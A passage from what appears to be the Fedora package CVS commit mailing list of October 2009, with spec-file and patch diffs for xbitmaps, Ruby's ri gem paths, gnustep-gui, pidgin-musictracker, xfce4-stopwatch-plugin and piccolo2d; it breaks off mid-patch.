 %setup -q -n xbitmaps-%{version}
 
 %build
-# Build xbitmaps
-%configure
+# hack to move the pc file
+sed -i 's/^libdir.*//' *.pc.in
+%configure --libdir=%{_datadir}
 make
 
 %install
@@ -38,13 +40,14 @@ rm -rf $RPM_BUILD_ROOT
 %files
 %defattr(-,root,root,-)
 #%doc
-%dir %{_includedir}/X11/bitmaps
-%{_includedir}/X11/bitmaps/*
-# Symlink for devel linking
 %{_includedir}/X11/bitmaps
-%{_libdir}/pkgconfig/xbitmaps.pc
+%{_datadir}/pkgconfig/xbitmaps.pc
 
 %changelog
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 1.1.0-1
+- xbitmaps 1.1.0
+- BuildArch: noarch
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.1-9
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From mtasaka at fedoraproject.org  Tue Oct 13 18:03:03 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Tue, 13 Oct 2009 18:03:03 +0000 (UTC)
Subject: rpms/ruby/F-12 ruby-1.8.6-p369-ri-gem_multipath.patch, NONE,
	1.1 ruby.spec, 1.139, 1.140
Message-ID: <20091013180303.3383711C00E8@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/ruby/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21380/F-12

Modified Files:
	ruby.spec 
Added Files:
	ruby-1.8.6-p369-ri-gem_multipath.patch 
Log Message:
* Wed Oct 14 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.369-4
- Fix the search path of ri command for ri manuals installed with gem
  (bug 528787)


ruby-1.8.6-p369-ri-gem_multipath.patch:
 ri_options.rb |    8 ++++++--
 ri_paths.rb   |   15 +++++++++++----
 2 files changed, 17 insertions(+), 6 deletions(-)

--- NEW FILE ruby-1.8.6-p369-ri-gem_multipath.patch ---
--- ruby-1.8.6-p369/lib/rdoc/ri/ri_options.rb.gemmulti	2007-02-13 08:01:19.000000000 +0900
+++ ruby-1.8.6-p369/lib/rdoc/ri/ri_options.rb	2009-10-14 01:08:42.000000000 +0900
@@ -63,7 +63,7 @@
 
         [ "--gems",         nil,    nil,
           "Include documentation from Rubygems:\n  " +
-          (RI::Paths::GEMDIRS ? "#{Gem.path}/doc/*/ri" :
+          (RI::Paths::GEMDIRS ? ( tmppath=""; Gem.path.each {|path| tmppath += "#{path}/doc/*/ri "}; tmppath) :
                                 "No Rubygems ri found.") ],
                                                            
         [ "--format",       "-f",   "<name>",
@@ -136,7 +136,11 @@
           RI::Paths::HOMEDIR
         ]
 
-        directories << "#{Gem.path}/doc/*/ri" if RI::Paths::GEMDIRS
+        if RI::Paths::GEMDIRS
+          Gem.path.each {|gempath|
+            directories << "#{gempath}/doc/*/ri"
+          }
+        end
 
         directories = directories.join("\n    ")
 
--- ruby-1.8.6-p369/lib/rdoc/ri/ri_paths.rb.gemmulti	2007-02-13 08:01:19.000000000 +0900
+++ ruby-1.8.6-p369/lib/rdoc/ri/ri_paths.rb	2009-10-13 19:58:07.000000000 +0900
@@ -43,9 +43,14 @@
     PATH = [ SYSDIR, SITEDIR, HOMEDIR ].find_all {|p| p && File.directory?(p)}
 
     begin
-      require 'rubygems'
-      GEMDIRS = Dir["#{Gem.path}/doc/*/ri"]
-      GEMDIRS.each { |path| RI::Paths::PATH << path }
+      require 'rubygems'  
+      gemdirs = []
+      Gem.path.each{ |gempath| 
+         ripath = Dir["#{gempath}/doc/*/ri"]
+         ripath.each { |path| RI::Paths::PATH << path }
+         gemdirs << gempath
+      }
+      GEMDIRS = gemdirs
     rescue LoadError
       GEMDIRS = nil
     end
@@ -71,7 +76,9 @@
       path << RI::Paths::SYSDIR if use_system
       path << RI::Paths::SITEDIR if use_site
       path << RI::Paths::HOMEDIR if use_home
-      path << RI::Paths::GEMDIRS if use_gems
+      if use_gems
+         RI::Paths::GEMDIRS.each {|gemdirs| path << gemdirs }
+      end
 
       return path.flatten.compact
     end


Index: ruby.spec
===================================================================
RCS file: /cvs/extras/rpms/ruby/F-12/ruby.spec,v
retrieving revision 1.139
retrieving revision 1.140
diff -u -p -r1.139 -r1.140
--- ruby.spec	26 Aug 2009 10:11:58 -0000	1.139
+++ ruby.spec	13 Oct 2009 18:03:03 -0000	1.140
@@ -16,7 +16,7 @@
 
 Name:		ruby
 Version:	%{rubyver}%{?dotpatchlevel}
-Release:	3%{?dist}
+Release:	4%{?dist}
 License:	Ruby or GPLv2
 URL:		http://www.ruby-lang.org/
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -50,6 +50,7 @@ Patch27:        ruby-1.8.6-p287-CVE-2008
 Patch28:        ruby-1.8.6-p287-remove-ssl-rand-range.patch
 Patch29:	ruby-always-use-i386.patch
 Patch30:	ruby-openssl-1.0.patch
+Patch31:	ruby-1.8.6-p369-ri-gem_multipath.patch
 
 Summary:	An interpreter of object-oriented scripting language
 Group:		Development/Languages
@@ -180,6 +181,7 @@ pushd %{name}-%{arcver}
 %patch28 -p1
 %patch29 -p1
 %patch30 -p2
+%patch31 -p1
 popd
 
 %build
@@ -546,6 +548,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_emacs_sitestartdir}/ruby-mode-init.el
 
 %changelog
+* Wed Oct 14 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.369-4
+- Fix the search path of ri command for ri manuals installed with gem
+  (bug 528787)
+
 * Wed Aug 26 2009 Tomas Mraz <tmraz at redhat.com> - 1.8.6.369-3
 - Rebuild against new openssl
 



From mtasaka at fedoraproject.org  Tue Oct 13 18:03:03 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Tue, 13 Oct 2009 18:03:03 +0000 (UTC)
Subject: rpms/ruby/devel ruby-1.8.6-p369-ri-gem_multipath.patch, NONE,
	1.1 ruby.spec, 1.139, 1.140
Message-ID: <20091013180303.6EFA611C00E8@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/ruby/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21380/devel

Modified Files:
	ruby.spec 
Added Files:
	ruby-1.8.6-p369-ri-gem_multipath.patch 
Log Message:
* Wed Oct 14 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.369-4
- Fix the search path of ri command for ri manuals installed with gem
  (bug 528787)


ruby-1.8.6-p369-ri-gem_multipath.patch:
 ri_options.rb |    8 ++++++--
 ri_paths.rb   |   15 +++++++++++----
 2 files changed, 17 insertions(+), 6 deletions(-)

--- NEW FILE ruby-1.8.6-p369-ri-gem_multipath.patch ---
--- ruby-1.8.6-p369/lib/rdoc/ri/ri_options.rb.gemmulti	2007-02-13 08:01:19.000000000 +0900
+++ ruby-1.8.6-p369/lib/rdoc/ri/ri_options.rb	2009-10-14 01:08:42.000000000 +0900
@@ -63,7 +63,7 @@
 
         [ "--gems",         nil,    nil,
           "Include documentation from Rubygems:\n  " +
-          (RI::Paths::GEMDIRS ? "#{Gem.path}/doc/*/ri" :
+          (RI::Paths::GEMDIRS ? ( tmppath=""; Gem.path.each {|path| tmppath += "#{path}/doc/*/ri "}; tmppath) :
                                 "No Rubygems ri found.") ],
                                                            
         [ "--format",       "-f",   "<name>",
@@ -136,7 +136,11 @@
           RI::Paths::HOMEDIR
         ]
 
-        directories << "#{Gem.path}/doc/*/ri" if RI::Paths::GEMDIRS
+        if RI::Paths::GEMDIRS
+          Gem.path.each {|gempath|
+            directories << "#{gempath}/doc/*/ri"
+          }
+        end
 
         directories = directories.join("\n    ")
 
--- ruby-1.8.6-p369/lib/rdoc/ri/ri_paths.rb.gemmulti	2007-02-13 08:01:19.000000000 +0900
+++ ruby-1.8.6-p369/lib/rdoc/ri/ri_paths.rb	2009-10-13 19:58:07.000000000 +0900
@@ -43,9 +43,14 @@
     PATH = [ SYSDIR, SITEDIR, HOMEDIR ].find_all {|p| p && File.directory?(p)}
 
     begin
-      require 'rubygems'
-      GEMDIRS = Dir["#{Gem.path}/doc/*/ri"]
-      GEMDIRS.each { |path| RI::Paths::PATH << path }
+      require 'rubygems'  
+      gemdirs = []
+      Gem.path.each{ |gempath| 
+         ripath = Dir["#{gempath}/doc/*/ri"]
+         ripath.each { |path| RI::Paths::PATH << path }
+         gemdirs << gempath
+      }
+      GEMDIRS = gemdirs
     rescue LoadError
       GEMDIRS = nil
     end
@@ -71,7 +76,9 @@
       path << RI::Paths::SYSDIR if use_system
       path << RI::Paths::SITEDIR if use_site
       path << RI::Paths::HOMEDIR if use_home
-      path << RI::Paths::GEMDIRS if use_gems
+      if use_gems
+         RI::Paths::GEMDIRS.each {|gemdirs| path << gemdirs }
+      end
 
       return path.flatten.compact
     end


Index: ruby.spec
===================================================================
RCS file: /cvs/extras/rpms/ruby/devel/ruby.spec,v
retrieving revision 1.139
retrieving revision 1.140
diff -u -p -r1.139 -r1.140
--- ruby.spec	26 Aug 2009 10:11:58 -0000	1.139
+++ ruby.spec	13 Oct 2009 18:03:03 -0000	1.140
@@ -16,7 +16,7 @@
 
 Name:		ruby
 Version:	%{rubyver}%{?dotpatchlevel}
-Release:	3%{?dist}
+Release:	4%{?dist}
 License:	Ruby or GPLv2
 URL:		http://www.ruby-lang.org/
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -50,6 +50,7 @@ Patch27:        ruby-1.8.6-p287-CVE-2008
 Patch28:        ruby-1.8.6-p287-remove-ssl-rand-range.patch
 Patch29:	ruby-always-use-i386.patch
 Patch30:	ruby-openssl-1.0.patch
+Patch31:	ruby-1.8.6-p369-ri-gem_multipath.patch
 
 Summary:	An interpreter of object-oriented scripting language
 Group:		Development/Languages
@@ -180,6 +181,7 @@ pushd %{name}-%{arcver}
 %patch28 -p1
 %patch29 -p1
 %patch30 -p2
+%patch31 -p1
 popd
 
 %build
@@ -546,6 +548,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_emacs_sitestartdir}/ruby-mode-init.el
 
 %changelog
+* Wed Oct 14 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.369-4
+- Fix the search path of ri command for ri manuals installed with gem
+  (bug 528787)
+
 * Wed Aug 26 2009 Tomas Mraz <tmraz at redhat.com> - 1.8.6.369-3
 - Rebuild against new openssl
 



From s4504kr at fedoraproject.org  Tue Oct 13 18:08:16 2009
From: s4504kr at fedoraproject.org (Jochen Schmitt)
Date: Tue, 13 Oct 2009 18:08:16 +0000 (UTC)
Subject: rpms/gnustep-gui/F-10 gnustep-gui.spec,NONE,1.1 sources,1.1,1.2
Message-ID: <20091013180816.C4A5511C00E8@cvs1.fedora.phx.redhat.com>

Author: s4504kr

Update of /cvs/extras/rpms/gnustep-gui/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22551

Modified Files:
	sources 
Added Files:
	gnustep-gui.spec 
Log Message:
Initial import


--- NEW FILE gnustep-gui.spec ---
Name:           gnustep-gui
Version:        0.16.0
Release:        5%{?dist}

Summary:        The GNUstep GUI library
License:        GPLv2+ and GPLv3+
Group:          Development/Libraries

URL:            http://www.gnustep.org
Source:         ftp://ftp.gnustep.org/pub/gnustep/core/%{name}-%{version}.tar.gz

BuildRequires:  gcc-objc
BuildRequires:  libtiff-devel
BuildRequires:  libjpeg-devel
BuildRequires:  libpng-devel
BuildRequires:  cups-devel
BuildRequires:  aspell-devel
BuildRequires:  giflib-devel
BuildRequires:  audiofile-devel
BuildRequires:  portaudio-devel >= 19
BuildRequires:	texinfo, texi2html, texinfo-tex
BuildRequires:  gnustep-make
BuildRequires:  gnustep-base-devel
Requires:       gnustep-base >= 1.15.1
Requires:       %{name}-libs = %{version}-%{release}

BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

%description 
The GNUstep GUI library is a library of graphical user interface classes
written completely in the Objective-C language; the classes are based
upon the OpenStep specification as release by NeXT Software, Inc.  These
classes include graphical objects such as buttons, text fields, popup
lists, browser lists, and windows; there are also many associated
classes for handling events, colors, fonts, pasteboards and images.

%package libs
Summary:        Libraries for %{name}
Group:          Development/Libraries
License:        LGPLv2+ and LGPLv3+
%description libs
The GNUstep GUI library is a library of graphical user interface classes
written completely in the Objective-C language; the classes are based
upon the OpenStep specification as release by NeXT Software, Inc.  These
classes include graphical objects such as buttons, text fields, popup
lists, browser lists, and windows; there are also many associated
classes for handling events, colors, fonts, pasteboards and images.

This package contains the libraries for %{name}

%package devel
Summary:        Header files for the gnustep-gui package
Group:          Development/Libraries
Requires:       gnustep-make
Requires:       gnustep-base-devel
Requires:       %{name}-libs = %{version}-%{release}

%description devel
The GNUstep GUI library is a library of graphical user interface classes
written completely in the Objective-C language; the classes are based
upon the OpenStep specification as release by NeXT Software, Inc.  These
classes include graphical objects such as buttons, text fields, popup
lists, browser lists, and windows; there are also many associated
classes for handling events, colors, fonts, pasteboards and images.

This package contains the header files for gnustep-gui.

%package doc
Summary:        Documentation for %{name}
Group:          Documentation
BuildArch:      noarch
License:        GFDL
Requires:       %{name} = %{version}-%{release}
Requires(post): /sbin/install-info
Requires(preun): /sbin/install-info

%description doc
The GNUstep GUI library is a library of graphical user interface classes
written completely in the Objective-C language; the classes are based
upon the OpenStep specification as release by NeXT Software, Inc.  These
classes include graphical objects such as buttons, text fields, popup
lists, browser lists, and windows; there are also many associated
classes for handling events, colors, fonts, pasteboards and images.

This package contains the documentation for %{name}

%prep
%setup -q

%build
%configure --with-installation-domain=SYSTEM
make messages=yes
make -C Documentation  messages=yes \
     GNUSTEP_MAKEFILES=%{_libdir}/GNUstep/Makefiles \
     

%install
rm -rf ${RPM_BUILD_ROOT}
make install DESTDIR=${RPM_BUILD_ROOT} GNUSTEP_INSTALLATION_DOMAIN=SYSTEM
make -C Documentation install DESTDIR=${RPM_BUILD_ROOT} \
     GNUSTEP_INSTALLATION_DOMAIN=SYSTEM \
     GNUSTEP_MAKEFILES=%{_libdir}/GNUstep/Makefiles

%clean
rm -rf ${RPM_BUILD_ROOT}

%post libs -p /sbin/ldconfig

%postun libs -p /sbin/ldconfig

%post doc
/sbin/install-info %{_infodir}/AppKit %{_infodir}/dir || :

%preun doc
if [ $1 = 0 ]; then
   /sbin/install-info --delete %{_infodir}/AppKit %{_infodir}/dir || :
fi

%files
%defattr(-,root,root)
%{_bindir}/gnustep_sndd
%{_bindir}/gclose
%{_bindir}/gopen
%{_bindir}/gcloseall
%{_bindir}/make_services
%{_bindir}/set_show_service
%{_libdir}/GNUstep/Bundles/
%{_libdir}/GNUstep/ColorPickers
%{_libdir}/GNUstep/Images/
%{_libdir}/GNUstep/Libraries/gnustep-gui/
%{_libdir}/GNUstep/KeyBindings/
%{_libdir}/GNUstep/PostScript/
%{_libdir}/GNUstep/Services/
%{_mandir}/man1/*

%doc ANNOUNCE BUGS COPYING NEWS README

%files devel
%defattr(-,root,root,-)
%{_includedir}/AppKit/
%{_includedir}/GNUstepGUI/
%{_includedir}/Cocoa/
%{_includedir}/gnustep/gui/
%{_libdir}/libgnustep-gui.so
%{_libdir}/GNUstep/Makefiles/Additional/gui.make

%files libs
%defattr(-,root,root,-)
%{_libdir}/libgnustep-gui.so.*
%doc COPYING.LIB

%files doc
%defattr(-,root,root,-)
%{_infodir}/AppKit.info.gz
%{_datadir}/GNUstep/Documentation/*
%doc Documentation/manual/LICENSE

%changelog
* Tue Oct 13 2009 Jochen Schmitt <Jochen herr-schmitt de> 0.16.0-5
- Fix missing BRs

* Tue Sep 29 2009 Jochen Schmitt <Jochen herr-schmitt de> 0.16.0-4
- Fix typo

* Sun Sep 27 2009 Jochen Schmitt <Jochen herr-schmitt de> 0.16.0-3
- Create separate libs subpackage
- Fix license tag

* Thu Sep 24 2009 Jochen Schmitt <Jochen herr-schmitt de> 0.16.0-2
- Rework for new gnustep-make and gnustep-base releases

* Tue Feb 17 2009 Jochen Schmitt <Jochen herr-schmitt de> 0.16.0-1
- New upstream release

* Thu Dec 11 2008 Jochen Schmitt <Jochen herr-schmitt de> 0.14.0-2
- Add some missing BRs

* Wed Dec 10 2008 Jochen Schmitt <Jochen herr-schmitt de> 0.14.0-1
- Initional Package


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/gnustep-gui/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	13 Oct 2009 16:24:54 -0000	1.1
+++ sources	13 Oct 2009 18:08:16 -0000	1.2
@@ -0,0 +1 @@
+464b80094e438fe0cc8e6ae691b3384c  gnustep-gui-0.16.0.tar.gz



From hpejakle at fedoraproject.org  Tue Oct 13 18:10:22 2009
From: hpejakle at fedoraproject.org (Jan Klepek)
Date: Tue, 13 Oct 2009 18:10:22 +0000 (UTC)
Subject: rpms/pidgin-musictracker/F-12 pidgin-musictracker-preferences.patch,
	NONE, 1.1
Message-ID: <20091013181022.EF29811C02A1@cvs1.fedora.phx.redhat.com>

Author: hpejakle

Update of /cvs/pkgs/rpms/pidgin-musictracker/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23132/F-12

Added Files:
	pidgin-musictracker-preferences.patch 
Log Message:
patch

pidgin-musictracker-preferences.patch:
 preferences.c |   33 ++++++++++++++++++---------------
 1 file changed, 18 insertions(+), 15 deletions(-)

--- NEW FILE pidgin-musictracker-preferences.patch ---
--- src/preferences.c.orig	2009-05-27 00:10:46.000000000 +0200
+++ src/preferences.c	2009-10-13 09:24:26.597455580 +0200
@@ -205,11 +205,15 @@
 	purple_prefs_set_bool(data, state);
 }
 
-#define APPEND_FORMAT_MENU(name, format) \
-	sprintf(buf, "%s - %s", name, format); \
-	widget = gtk_menu_item_new_with_label(buf); \
-	gtk_menu_shell_append(GTK_MENU_SHELL(format_menu), widget); \
-	g_signal_connect(G_OBJECT(widget), "activate", G_CALLBACK(cb_format_menu), (gpointer) format);
+static void
+append_format_menu(const char *name, const char *format)
+{
+  char *buf = g_strdup_printf("%s - %s", name, format);
+  GtkWidget *widget = gtk_menu_item_new_with_label(buf);
+  g_free(buf);
+  gtk_menu_shell_append(GTK_MENU_SHELL(format_menu), widget);
+  g_signal_connect(G_OBJECT(widget), "activate", G_CALLBACK(cb_format_menu), (gpointer) format);
+}
 
 #define ADD_FORMAT_ENTRY(vbox, name, type) \
 	hbox = gtk_hbox_new(FALSE, 5); \
@@ -259,16 +263,15 @@
 
 	// Popup menu for format
 	format_menu = gtk_menu_new();
-	char buf[100];
-	APPEND_FORMAT_MENU(_("Artist"), "%p");
-	APPEND_FORMAT_MENU(_("Album"), "%a");
-	APPEND_FORMAT_MENU(_("Title"), "%t");
-	APPEND_FORMAT_MENU(_("Track Duration"), "%d");
-	APPEND_FORMAT_MENU(_("Elapsed Track Time"), "%c");
-	APPEND_FORMAT_MENU(_("Progress Bar"), "%b");
-	APPEND_FORMAT_MENU(_("Player"), "%r");
-	APPEND_FORMAT_MENU(_("Music Symbol (may not display on some networks)"), "%m");
-	APPEND_FORMAT_MENU(_("Status Message"), "%s");
+	append_format_menu(_("Artist"), "%p");
+	append_format_menu(_("Album"), "%a");
+	append_format_menu(_("Title"), "%t");
+	append_format_menu(_("Track Duration"), "%d");
+	append_format_menu(_("Elapsed Track Time"), "%c");
+	append_format_menu(_("Progress Bar"), "%b");
+	append_format_menu(_("Player"), "%r");
+	append_format_menu(_("Music Symbol (may not display on some networks)"), "%m");
+	append_format_menu(_("Status Message"), "%s");
 	gtk_widget_show_all(format_menu);
 
 	// Format selection



From hpejakle at fedoraproject.org  Tue Oct 13 18:10:22 2009
From: hpejakle at fedoraproject.org (Jan Klepek)
Date: Tue, 13 Oct 2009 18:10:22 +0000 (UTC)
Subject: rpms/pidgin-musictracker/F-11 pidgin-musictracker-preferences.patch,
	NONE, 1.1
Message-ID: <20091013181022.D04F911C02A1@cvs1.fedora.phx.redhat.com>

Author: hpejakle

Update of /cvs/pkgs/rpms/pidgin-musictracker/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23132/F-11

Added Files:
	pidgin-musictracker-preferences.patch 
Log Message:
patch

pidgin-musictracker-preferences.patch:
 preferences.c |   33 ++++++++++++++++++---------------
 1 file changed, 18 insertions(+), 15 deletions(-)

--- NEW FILE pidgin-musictracker-preferences.patch ---
--- src/preferences.c.orig	2009-05-27 00:10:46.000000000 +0200
+++ src/preferences.c	2009-10-13 09:24:26.597455580 +0200
@@ -205,11 +205,15 @@
 	purple_prefs_set_bool(data, state);
 }
 
-#define APPEND_FORMAT_MENU(name, format) \
-	sprintf(buf, "%s - %s", name, format); \
-	widget = gtk_menu_item_new_with_label(buf); \
-	gtk_menu_shell_append(GTK_MENU_SHELL(format_menu), widget); \
-	g_signal_connect(G_OBJECT(widget), "activate", G_CALLBACK(cb_format_menu), (gpointer) format);
+static void
+append_format_menu(const char *name, const char *format)
+{
+  char *buf = g_strdup_printf("%s - %s", name, format);
+  GtkWidget *widget = gtk_menu_item_new_with_label(buf);
+  g_free(buf);
+  gtk_menu_shell_append(GTK_MENU_SHELL(format_menu), widget);
+  g_signal_connect(G_OBJECT(widget), "activate", G_CALLBACK(cb_format_menu), (gpointer) format);
+}
 
 #define ADD_FORMAT_ENTRY(vbox, name, type) \
 	hbox = gtk_hbox_new(FALSE, 5); \
@@ -259,16 +263,15 @@
 
 	// Popup menu for format
 	format_menu = gtk_menu_new();
-	char buf[100];
-	APPEND_FORMAT_MENU(_("Artist"), "%p");
-	APPEND_FORMAT_MENU(_("Album"), "%a");
-	APPEND_FORMAT_MENU(_("Title"), "%t");
-	APPEND_FORMAT_MENU(_("Track Duration"), "%d");
-	APPEND_FORMAT_MENU(_("Elapsed Track Time"), "%c");
-	APPEND_FORMAT_MENU(_("Progress Bar"), "%b");
-	APPEND_FORMAT_MENU(_("Player"), "%r");
-	APPEND_FORMAT_MENU(_("Music Symbol (may not display on some networks)"), "%m");
-	APPEND_FORMAT_MENU(_("Status Message"), "%s");
+	append_format_menu(_("Artist"), "%p");
+	append_format_menu(_("Album"), "%a");
+	append_format_menu(_("Title"), "%t");
+	append_format_menu(_("Track Duration"), "%d");
+	append_format_menu(_("Elapsed Track Time"), "%c");
+	append_format_menu(_("Progress Bar"), "%b");
+	append_format_menu(_("Player"), "%r");
+	append_format_menu(_("Music Symbol (may not display on some networks)"), "%m");
+	append_format_menu(_("Status Message"), "%s");
 	gtk_widget_show_all(format_menu);
 
 	// Format selection



From cwickert at fedoraproject.org  Tue Oct 13 18:18:25 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Tue, 13 Oct 2009 18:18:25 +0000 (UTC)
Subject: rpms/xfce4-stopwatch-plugin/F-10 dead.package,NONE,1.1
Message-ID: <20091013181825.2882011C00E8@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/xfce4-stopwatch-plugin/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24808

Added Files:
	dead.package 
Log Message:
This plugin requires Xfce 4.6 but I accidentially requested a branch for F-10.


--- NEW FILE dead.package ---
This plugin requires Xfce 4.6 but I accidentially requested a branch for F-10.



From mtasaka at fedoraproject.org  Tue Oct 13 18:26:15 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Tue, 13 Oct 2009 18:26:15 +0000 (UTC)
Subject: rpms/ruby/F-11 ruby-1.8.6-p369-ri-gem_multipath.patch, NONE,
	1.1 ruby.spec, 1.136, 1.137
Message-ID: <20091013182615.54C7D11C00E8@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/ruby/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26508

Modified Files:
	ruby.spec 
Added Files:
	ruby-1.8.6-p369-ri-gem_multipath.patch 
Log Message:
* Wed Oct 14 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.369-2
- Fix the search path of ri command for ri manuals installed with gem
  (bug 528787)


ruby-1.8.6-p369-ri-gem_multipath.patch:
 ri_options.rb |    8 ++++++--
 ri_paths.rb   |   15 +++++++++++----
 2 files changed, 17 insertions(+), 6 deletions(-)

--- NEW FILE ruby-1.8.6-p369-ri-gem_multipath.patch ---
--- ruby-1.8.6-p369/lib/rdoc/ri/ri_options.rb.gemmulti	2007-02-13 08:01:19.000000000 +0900
+++ ruby-1.8.6-p369/lib/rdoc/ri/ri_options.rb	2009-10-14 01:08:42.000000000 +0900
@@ -63,7 +63,7 @@
 
         [ "--gems",         nil,    nil,
           "Include documentation from Rubygems:\n  " +
-          (RI::Paths::GEMDIRS ? "#{Gem.path}/doc/*/ri" :
+          (RI::Paths::GEMDIRS ? ( tmppath=""; Gem.path.each {|path| tmppath += "#{path}/doc/*/ri "}; tmppath) :
                                 "No Rubygems ri found.") ],
                                                            
         [ "--format",       "-f",   "<name>",
@@ -136,7 +136,11 @@
           RI::Paths::HOMEDIR
         ]
 
-        directories << "#{Gem.path}/doc/*/ri" if RI::Paths::GEMDIRS
+        if RI::Paths::GEMDIRS
+          Gem.path.each {|gempath|
+            directories << "#{gempath}/doc/*/ri"
+          }
+        end
 
         directories = directories.join("\n    ")
 
--- ruby-1.8.6-p369/lib/rdoc/ri/ri_paths.rb.gemmulti	2007-02-13 08:01:19.000000000 +0900
+++ ruby-1.8.6-p369/lib/rdoc/ri/ri_paths.rb	2009-10-13 19:58:07.000000000 +0900
@@ -43,9 +43,14 @@
     PATH = [ SYSDIR, SITEDIR, HOMEDIR ].find_all {|p| p && File.directory?(p)}
 
     begin
-      require 'rubygems'
-      GEMDIRS = Dir["#{Gem.path}/doc/*/ri"]
-      GEMDIRS.each { |path| RI::Paths::PATH << path }
+      require 'rubygems'  
+      gemdirs = []
+      Gem.path.each{ |gempath| 
+         ripath = Dir["#{gempath}/doc/*/ri"]
+         ripath.each { |path| RI::Paths::PATH << path }
+         gemdirs << gempath
+      }
+      GEMDIRS = gemdirs
     rescue LoadError
       GEMDIRS = nil
     end
@@ -71,7 +76,9 @@
       path << RI::Paths::SYSDIR if use_system
       path << RI::Paths::SITEDIR if use_site
       path << RI::Paths::HOMEDIR if use_home
-      path << RI::Paths::GEMDIRS if use_gems
+      if use_gems
+         RI::Paths::GEMDIRS.each {|gemdirs| path << gemdirs }
+      end
 
       return path.flatten.compact
     end


Index: ruby.spec
===================================================================
RCS file: /cvs/extras/rpms/ruby/F-11/ruby.spec,v
retrieving revision 1.136
retrieving revision 1.137
diff -u -p -r1.136 -r1.137
--- ruby.spec	23 Jun 2009 12:40:23 -0000	1.136
+++ ruby.spec	13 Oct 2009 18:26:15 -0000	1.137
@@ -16,7 +16,7 @@
 
 Name:		ruby
 Version:	%{rubyver}%{?dotpatchlevel}
-Release:	1%{?dist}
+Release:	2%{?dist}
 License:	Ruby or GPLv2
 URL:		http://www.ruby-lang.org/
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -44,6 +44,7 @@ Patch26:        ruby-1.8.6-rexml-CVE-200
 Patch27:        ruby-1.8.6-p287-CVE-2008-5189.patch
 Patch28:        ruby-1.8.6-p287-remove-ssl-rand-range.patch
 Patch29:	ruby-always-use-i386.patch
+Patch31:	ruby-1.8.6-p369-ri-gem_multipath.patch
 
 Summary:	An interpreter of object-oriented scripting language
 Group:		Development/Languages
@@ -173,6 +174,7 @@ pushd %{name}-%{arcver}
 %patch27 -p0
 %patch28 -p1
 %patch29 -p1
+%patch31 -p1
 popd
 
 %build
@@ -535,6 +537,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_emacs_sitestartdir}/ruby-mode-init.el
 
 %changelog
+* Wed Oct 14 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.369-2
+- Fix the search path of ri command for ri manuals installed with gem
+  (bug 528787)
+
 * Sat Jun 20 2009  Jeroen van Meeuwen <kanarip at fedoraproject.org> - 1.8.6.369-1
 - New patchlevel fixing CVE-2009-1904
 - Fix directory on ARM (#506233, Kedar Sovani)



From akurtakov at fedoraproject.org  Tue Oct 13 18:26:22 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Tue, 13 Oct 2009 18:26:22 +0000 (UTC)
Subject: rpms/piccolo2d/devel piccolo2d-pswtpath-getcenter.patch, NONE,
	1.1 piccolo2d-pswtimage-dispose.patch, NONE, 1.1 piccolo2d.spec,
	1.1, 1.2 .cvsignore, 1.2, 1.3 sources, 1.2,
	1.3 fetch-piccolo2d.sh, 1.1, 1.2
Message-ID: <20091013182622.C7DF911C00E8@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/piccolo2d/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26614/devel

Modified Files:
	piccolo2d.spec .cvsignore sources fetch-piccolo2d.sh 
Added Files:
	piccolo2d-pswtpath-getcenter.patch 
	piccolo2d-pswtimage-dispose.patch 
Log Message:
- New snapshot.
- Add patches needed by pydev.

piccolo2d-pswtpath-getcenter.patch:
 PSWTPath.java |    9 +++++++++
 1 file changed, 9 insertions(+)

--- NEW FILE piccolo2d-pswtpath-getcenter.patch ---
--- swt/src/main/java/edu/umd/cs/piccolox/swt/PSWTPath.java.orig	2009-10-12 21:54:31.056119535 +0300
+++ swt/src/main/java/edu/umd/cs/piccolox/swt/PSWTPath.java	2009-10-12 21:55:49.319128179 +0300
@@ -435,4 +435,13 @@ public class PSWTPath extends PNode {
         }
         setShape(path);
     }
+
+    /**                                                                                                                                       
